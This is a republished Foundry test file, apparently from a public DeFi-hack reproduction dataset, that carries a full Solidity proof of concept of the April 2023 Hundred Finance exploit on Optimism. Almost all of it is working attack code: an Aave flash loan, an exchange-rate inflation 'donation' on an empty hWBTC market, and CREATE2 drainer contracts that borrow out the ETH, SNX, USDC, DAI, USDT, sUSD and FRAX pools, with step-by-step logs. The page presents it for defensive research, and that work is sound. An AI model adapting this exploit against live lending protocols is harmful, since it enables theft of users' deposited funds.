Public reproduction file
src/test/2023-04/HundredFinance_2_exp.sol
Public reproduction file for dataset entry HundredFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/peckshield/status/16473071282674769929// https://twitter.com/danielvf/status/164732949178867712110// https://twitter.com/hexagate_/status/164733497025860813111// @TX12// https://optimistic.etherscan.io/tx/0x6e9ebcdebbabda04fa9f2e3bc21ea8b2e4fb4bf4f4670cb8483e2f0b2604f45113// @Summary14// https://blog.hundred.finance/15-04-23-hundred-finance-hack-post-mortem-d895b618cf3316interface IChainlinkPriceOracleProxy {17 function getUnderlyingPrice(18 address cToken19 ) external view returns (uint256);20}22contract contractTest is Test {23 IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);24 IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);25 IERC20 SNX = IERC20(0x8700dAec35aF8Ff88c16BdF0418774CB3D7599B4);26 IERC20 sUSD = IERC20(0x8c6f28f2F1A3C87F0f938b96d27520d9751ec8d9);27 IERC20 USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);28 IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);29 ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);30 crETH CEther = crETH(0x1A61A72F5Cf5e857f15ee502210b81f8B3a66263);31 ICErc20Delegate hSNX = ICErc20Delegate(0x371cb7683bA0639A21f31E0B20F705e45bC18896);32 ICErc20Delegate hUSDC = ICErc20Delegate(0x10E08556D6FdD62A9CE5B3a5b07B0d8b0D093164);33 ICErc20Delegate hDAI = ICErc20Delegate(0x0145BE461a112c60c12c34d5Bc538d10670E99Ab);34 ICErc20Delegate hUSDT = ICErc20Delegate(0xb994B84bD13f7c8dD3af5BEe9dfAc68436DCF5BD);35 ICErc20Delegate hSUSD = ICErc20Delegate(0x76E47710AEe13581Ba5B19323325cA31c48d4cC3);36 ICErc20Delegate hFRAX = ICErc20Delegate(0xd97a2591930E2Da927b1903BAA6763618BD7425b);37 IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);38 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);39 address HundredFinanceExploiter = 0x155DA45D374A286d383839b1eF27567A15E67528;40 IChainlinkPriceOracleProxy priceOracle = IChainlinkPriceOracleProxy(0x10010069DE6bD5408A6dEd075Cf6ae2498073c73);42 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);44 function setUp() public {45 cheats.createSelectFork("optimism", 90_760_765);46 cheats.label(address(WBTC), "WBTC");47 cheats.label(address(USDC), "USDC");48 cheats.label(address(SNX), "SNX");49 cheats.label(address(sUSD), "sUSD");50 cheats.label(address(USDT), "USDT");51 cheats.label(address(DAI), "DAI");52 cheats.label(address(hWBTC), "hWBTC");53 cheats.label(address(CEther), "CEther");54 cheats.label(address(hSNX), "hSNX");55 cheats.label(address(hUSDC), "hUSDC");56 cheats.label(address(hDAI), "hDAI");57 cheats.label(address(hUSDT), "hUSDT");58 cheats.label(address(hSUSD), "hSUSD");59 cheats.label(address(hFRAX), "hFRAX");60 cheats.label(address(aaveV3), "aaveV3");61 cheats.label(address(unitroller), "unitroller");62 cheats.label(address(priceOracle), "ChainlinkPriceOracleProxy");63 }65 function testExploit() external {66 payable(address(0)).transfer(address(this).balance);67 cheats.startPrank(HundredFinanceExploiter);68 hWBTC.transfer(address(this), 1_503_167_295); // anti front-run69 cheats.stopPrank();70 aaveV3.flashLoanSimple(address(this), address(WBTC), 500 * 1e8, new bytes(0), 0);72 emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18);73 emit log_named_decimal_uint(74 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()75 );76 emit log_named_decimal_uint("Attacker SNX balance after exploit", SNX.balanceOf(address(this)), SNX.decimals());77 emit log_named_decimal_uint(78 "Attacker sUSD balance after exploit", sUSD.balanceOf(address(this)), sUSD.decimals()79 );80 emit log_named_decimal_uint(81 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()82 );83 emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());84 }86 function executeOperation(87 address asset,88 uint256 amount,89 uint256 premium,90 address initator,91 bytes calldata params92 ) external payable returns (bool) {93 hWBTC.redeem(hWBTC.balanceOf(address(this)));95 console.log("1. ETH Drain \r");96 ETHDrains();97 console.log("2. SNX Drain \r");98 tokenDrains(hSNX);99 console.log("3. USDC Drain \r");100 tokenDrains(hUSDC);101 console.log("4. DAI Drain \r");102 tokenDrains(hDAI);103 console.log("5. USDT Drain");104 tokenDrains(hUSDT);105 console.log("6. SUSD Drain");106 tokenDrains(hSUSD);107 console.log("7. FRAX Drain \r");108 tokenDrains(hFRAX);110 WBTC.approve(address(aaveV3), type(uint256).max);111 return true;112 }114 function ETHDrains() internal {115 uint256 _salt = uint256(keccak256(abi.encodePacked(uint256(0))));116 bytes memory creationBytecode = getETHDrainCreationBytecode(address(CEther));117 address DrainAddress = getAddress(creationBytecode, _salt);118 WBTC.transfer(DrainAddress, WBTC.balanceOf(address(this)));120 ETHDrain ETHDrainer = new ETHDrain{salt: bytes32(_salt)}(CEther);121 uint256 liquidationRepayAmount = getLiquidationRepayAmount(address(CEther));122 CEther.liquidateBorrow{value: liquidationRepayAmount}(address(ETHDrainer), address(hWBTC));123 hWBTC.redeem(1); // Withdraw remaining share from hWBTC124 console.log("*************************************************");125 console.log("\r");126 }128 function tokenDrains(129 ICErc20Delegate hToken130 ) internal {131 uint256 _salt = uint256(keccak256(abi.encodePacked(uint256(0))));132 bytes memory creationBytecode = gettokenDrainCreationBytecode(address(hToken));133 address DrainAddress = getAddress(creationBytecode, _salt);134 WBTC.transfer(DrainAddress, WBTC.balanceOf(address(this)));136 tokenDrain tokenDrainer = new tokenDrain{salt: bytes32(_salt)}(hToken);137 IERC20 underlyingToken = IERC20(hToken.underlying());138 underlyingToken.approve(address(hToken), type(uint256).max);139 hToken.liquidateBorrow(address(tokenDrainer), getLiquidationRepayAmount(address(hToken)), address(hWBTC));140 hWBTC.redeem(1); // Withdraw remaining share from hWBTC141 console.log("*************************************************");142 console.log("\r");143 }145 function getLiquidationRepayAmount(146 address hToken147 ) public view returns (uint256) {148 uint256 exchangeRate = hWBTC.exchangeRateStored();149 uint256 liquidationIncentiveMantissa = 1_080_000_000_000_000_000;150 uint256 priceBorrowedMantissa = priceOracle.getUnderlyingPrice(address(hToken));151 uint256 priceCollateralMantissa = priceOracle.getUnderlyingPrice(address(hWBTC));152 uint256 hTokenAmount = 1;153 uint256 liquidateAmount = 1e18154 / (155 priceBorrowedMantissa * liquidationIncentiveMantissa156 / (exchangeRate * hTokenAmount * priceCollateralMantissa / 1e18)157 ) + 1;158 return liquidateAmount;159 }161 function getETHDrainCreationBytecode(162 address token163 ) public pure returns (bytes memory) {164 bytes memory bytecode = type(ETHDrain).creationCode;165 return abi.encodePacked(bytecode, abi.encode(token));166 }168 function gettokenDrainCreationBytecode(169 address token170 ) public pure returns (bytes memory) {171 bytes memory bytecode = type(tokenDrain).creationCode;172 return abi.encodePacked(bytecode, abi.encode(token));173 }175 function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {176 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));177 return address(uint160(uint256(hash)));178 }180 receive() external payable {}181}183contract ETHDrain is Test {184 IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);185 ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);186 IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);187 crETH CEtherDelegate;189 constructor(190 crETH Delegate191 ) payable {192 console.log("First step, Deposit a small amount of WBTC to the empty hWBTC pool to obtain shares");193 CEtherDelegate = Delegate;194 WBTC.approve(address(hWBTC), type(uint256).max);195 hWBTC.mint(4 * 1e8);196 hWBTC.redeem(hWBTC.totalSupply() - 2); // completing the initial deposit, the shares of hWBTC and the amount of WBTC in hWBTC are at a minimum197 console2.log(198 "ETHDrain's share in hWBTC:",199 hWBTC.balanceOf(address(this)),200 "the WBTC amount in hWBTC:",201 WBTC.balanceOf(address(hWBTC))202 );203 console.log("\r");205 console.log(206 "Second step, Donate a large amount of WBTC to the hWBTC pool to increase the exchangeRate(the number of WBTC represented by each share)"207 );208 (,,, uint256 exchangeRate_1) = hWBTC.getAccountSnapshot(address(this));209 console.log("exchangeRate before manipulation:", exchangeRate_1);210 uint256 donationAmount = WBTC.balanceOf(address(this));211 WBTC.transfer(address(hWBTC), donationAmount); // "donation" exchangeRate manipulation212 uint256 WBTCAmountInhWBTC = WBTC.balanceOf(address(hWBTC));213 (,,, uint256 exchangeRate_2) = hWBTC.getAccountSnapshot(address(this));214 console.log("exchangeRate after manipulation:", exchangeRate_2);215 console.log("\r");217 console.log("Third setp, Lend tokens from the hEther pool and send to exploiter");218 address[] memory cTokens = new address[](1);219 cTokens[0] = address(hWBTC);220 unitroller.enterMarkets(cTokens);221 uint256 borrowAmount = CEtherDelegate.getCash() - 1;222 CEtherDelegate.borrow(borrowAmount);223 payable(address(msg.sender)).transfer(address(this).balance);224 console.log("\r");226 console.log("Fouth step, redeem WBTC from the hWBTC pool");227 uint256 redeemAmount = donationAmount - 1;228 console.log(229 "Calculate the amount of shares represented by the redeem amount:",230 redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC231 );232 console.log(233 "another way of calculating, redeemAmount * 1e18 / exchangeRate:", redeemAmount * 1e18 / exchangeRate_2234 );235 console.log(236 "Due to the inflation attack, the attacker redeems all previously donated WBTC with a calculated share of:",237 redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC238 );239 hWBTC.redeemUnderlying(redeemAmount);240 console2.log(241 "after redeem the ETHDrain's share in hWBTC:",242 hWBTC.balanceOf(address(this)),243 "the WBTC amount in hWBTC:",244 WBTC.balanceOf(address(hWBTC))245 );246 console.log("\r");248 console.log("Firth step, send WBTC to exploiter");249 WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));250 console.log("\r");251 }253 receive() external payable {}254}256contract tokenDrain is Test {257 IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);258 ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);259 IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);260 ICErc20Delegate CErc20Delegate;262 constructor(263 ICErc20Delegate Delegate264 ) payable {265 console.log("First step, Deposit a small amount of WBTC to the empty hWBTC pool to obtain shares");266 CErc20Delegate = Delegate;267 WBTC.approve(address(hWBTC), type(uint256).max);268 hWBTC.mint(4 * 1e8);269 hWBTC.redeem(hWBTC.totalSupply() - 2); // completing the initial deposit, the shares of hWBTC and the amount of WBTC in hWBTC are at a minimum270 console2.log(271 "toeknDrain's share in hWBTC:",272 hWBTC.balanceOf(address(this)),273 "the WBTC amount in hWBTC:",274 WBTC.balanceOf(address(hWBTC))275 );276 console.log("\r");278 console.log(279 "Second step, Donate a large amount of WBTC to the hWBTC pool to increase the exchangeRate(the number of WBTC represented by each share)"280 );281 (,,, uint256 exchangeRate_1) = hWBTC.getAccountSnapshot(address(this));282 console.log("exchangeRate before manipulation:", exchangeRate_1);283 uint256 donationAmount = WBTC.balanceOf(address(this));284 WBTC.transfer(address(hWBTC), donationAmount); // "donation" exchangeRate manipulation285 uint256 WBTCAmountInhWBTC = WBTC.balanceOf(address(hWBTC));286 (,,, uint256 exchangeRate_2) = hWBTC.getAccountSnapshot(address(this));287 console.log("exchangeRate after manipulation:", exchangeRate_2);288 console.log("\r");290 console.log("Third setp, Lend tokens from the hToken pool and send to exploiter");291 address[] memory cTokens = new address[](1);292 cTokens[0] = address(hWBTC);293 unitroller.enterMarkets(cTokens);294 uint256 borrowAmount = CErc20Delegate.getCash() - 1;295 CErc20Delegate.borrow(borrowAmount);296 IERC20 underlyingToken = IERC20(CErc20Delegate.underlying());297 underlyingToken.transfer(msg.sender, borrowAmount); // borrow token and send to exploiter298 console.log("\r");300 console.log("Fouth step, redeem WBTC from the hWBTC pool");301 uint256 redeemAmount = donationAmount;302 console.log(303 "Calculate the amount of shares represented by the redeem amount:",304 redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC305 );306 console.log(307 "another way of calculating, redeemAmount * 1e18 / exchangeRate:", redeemAmount * 1e18 / exchangeRate_2308 );309 console.log(310 "Due to the inflation attack, the attacker redeems all previously donated WBTC with a calculated share of:",311 redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC312 );313 hWBTC.redeemUnderlying(redeemAmount);314 console2.log(315 "after redeem the toeknDrain's share in hWBTC:",316 hWBTC.balanceOf(address(this)),317 "the WBTC amount in hWBT:C",318 WBTC.balanceOf(address(hWBTC))319 );320 console.log("\r");322 console.log("Firth step, send WBTC to exploiter");323 WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));324 console.log("\r");325 }326}Analysis
Dataset entry
Public Foundry test for “HundredFinance” (2023-04-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
- src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
- src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
- src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
- src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
- src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
- src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
- src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
- src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
- src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
- src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
- src/test/2022-03/HundredFinance_exp.solSame protocol or name in the dataset · 142 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- HundredFinance
- Path
- src/test/2023-04/HundredFinance_2_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5397e5c8e9b2f3ad566a6446a0fdc4bf0150586b
- Language
- Solidity
- Size
- 327 lines
- Date
- 2023-04-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-04/HundredFinance_2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5397e5c8e9b2f3ad566a6446a0fdc4bf0150586b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.